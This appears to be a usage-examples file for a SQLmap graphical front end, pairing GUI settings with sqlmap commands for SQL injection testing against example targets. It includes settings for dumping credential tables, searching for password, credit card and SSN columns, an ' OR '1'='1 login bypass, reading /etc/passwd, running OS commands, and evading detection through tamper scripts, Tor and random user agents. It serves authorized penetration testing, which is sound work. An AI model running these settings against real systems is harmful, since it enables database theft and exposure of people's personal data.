This directory contains practical examples demonstrating various SQL injection testing scenarios using the SQLmap GUI. Each example includes the GUI configuration and the corresponding SQLmap command.
Target: http://example.com/product.php?id=1
GUI Configuration:
Target Tab:
- URL: http://example.com/product.php?id=1
Detection Tab:
- Level: 3
- Risk: 2
- Techniques: BEU (Boolean, Error, Union)
General Tab:
- Batch: β Enabled
Generated Command:
sqlmap -u "http://example.com/product.php?id=1" --level=3 --risk=2 --technique=BEU --batch
Target: http://example.com/login.php
GUI Configuration:
Target Tab:
- URL: http://example.com/login.php
- Method: POST
- Data: username=admin&password=test
Injection Tab:
- Testable Parameters: username,password
- DBMS: MySQL
Detection Tab:
- Level: 5
- Risk: 3
- Techniques: BEUSTQ (All)
Request Tab:
- Delay: 1
- Timeout: 30
Generated Command:
sqlmap -u "http://example.com/login.php" --method=POST --data="username=admin&password=test" -p "username,password" --dbms=mysql --level=5 --risk=3 --technique=BEUSTQ --delay=1 --timeout=30
Target: http://example.com/admin.php?id=1
GUI Configuration:
Target Tab:
- URL: http://example.com/admin.php?id=1
- Cookie: session=abc123
Enumeration Tab:
- Enumerate Databases: β
- Enumerate Tables: β
- Enumerate Columns: β
- Database: (leave empty for all)
General Tab:
- Output Directory: ./results/
- CSV Format: β
Generated Command:
sqlmap -u "http://example.com/admin.php?id=1" --cookie="session=abc123" --dbs --tables --columns --output-dir=./results/ --csv
Target Tab:
- Cookie: PHPSESSID=abc123; auth=xyz789
Request Tab:
- Safe URL: http://example.com/keepalive.php
- Safe POST: refresh=1
Target Tab:
- Method: POST
- Data: {"user":"admin","pass":"test"}
- Content-Type: application/json
Injection Tab:
- Base64 Parameters: (if data is base64 encoded)
Target Tab:
- Method: POST
- Data: file=/path/to/file.jpg&submit=Upload
Injection Tab:
- Testable Parameters: file,submit
Target Tab:
- URL: http://example.com/search.php?q=test
Injection Tab:
- Testable Parameters: q
- Tamper Scripts: space2comment
Detection Tab:
- Level: 1
- Risk: 1
Request Tab:
- Threads: 10
- Keep Alive: β
Detection Tab:
- Level: 5
- Risk: 3
- Techniques: BEUSTQ
Request Tab:
- Threads: 1
- Delay: 2
Request Tab:
- Delay: 5
- Random Agent: β
- Tor: β
Detection Tab:
- Level: 2
- Risk: 1
Injection Tab:
- Tamper Scripts: space2comment,randomcase
Request Tab:
- User-Agent: (custom or random)
- Delay: 3
Injection Tab:
- Tamper Scripts: space2comment,apostrophemask,base64encode
- Prefix: ' OR
- Suffix: -- -
Request Tab:
- Random Agent: β
- Delay: 5
Enumeration Tab:
- Dump All Databases: β
General Tab:
- Output Directory: ./full_dump/
- CSV Format: β
Enumeration Tab:
- Database: users_db
- Table: user_credentials
- Columns: username,password,email
- Dump Table: β
Enumeration Tab:
- Search Columns: password,credit_card,ssn
- Search Tables: users,customers,admin
Target Tab:
- URL: http://example.com/login.php
- Method: POST
- Data: username=admin&password=' OR '1'='1
Injection Tab:
- Testable Parameters: username,password
Enumeration Tab:
- Enumerate Users: β
- Enumerate Privileges: β
OS Access Tab:
- OS Command: sudo -l
File System Tab:
- Read File: /etc/passwd
OS Access Tab:
- OS Command: find /var/www -name "*.php"
Target Tab:
- Proxy: http://proxy.company.com:8080
- Proxy Credentials: user:password
Request Tab:
- Tor: β
- Tor Port: 9050
- Tor Type: SOCKS5
Target Tab:
- Proxy File: ./proxies.txt
- Ignore Certificate: β
Target Tab:
- URL: http://api.example.com/v1/users/1
- Method: GET
- Header: Authorization: Bearer token123
Request Tab:
- Accept: application/json
Target Tab:
- URL: http://api.example.com/graphql
- Method: POST
- Data: {"query":"{user(id:1){name,email}}"}
- Content-Type: application/json
Target Tab:
- Host: internal-app.company.com
Request Tab:
- Safe URL: http://internal-app.company.com/health
Target Tab:
- Cookie: SAMLResponse=encoded_data
Request Tab:
- Follow Redirects: β
Request Tab:
- Timeout: 60
- Retries: 5
- Keep Alive: β
Request Tab:
- Delay: 10
- Threads: 1
- Random Agent: β
Request Tab:
- Ignore Certificate: β
- Force SSL: β
General Tab:
- HTML Format: β
- Output Directory: ./reports/executive/
- Verbose Level: 1
General Tab:
- Output Directory: ./reports/technical/
- Verbose Level: 6
- Log File: ./reports/technical/debug.log
General Tab:
- CSV Format: β
- Output Directory: ./reports/compliance/
- Save Everything: β
General Tab:
- Batch: β
- Load Config: ./configs/production.conf
General Tab:
- Batch: β
- Output Directory: ./test-results/
- Log File: ./test-results/scan.log
General Tab:
- Batch: β
- Save Config: ./configs/nightly_scan.conf
Remember: Always ensure you have explicit permission to test any target system. These examples are for educational purposes and authorized security testing only.</content>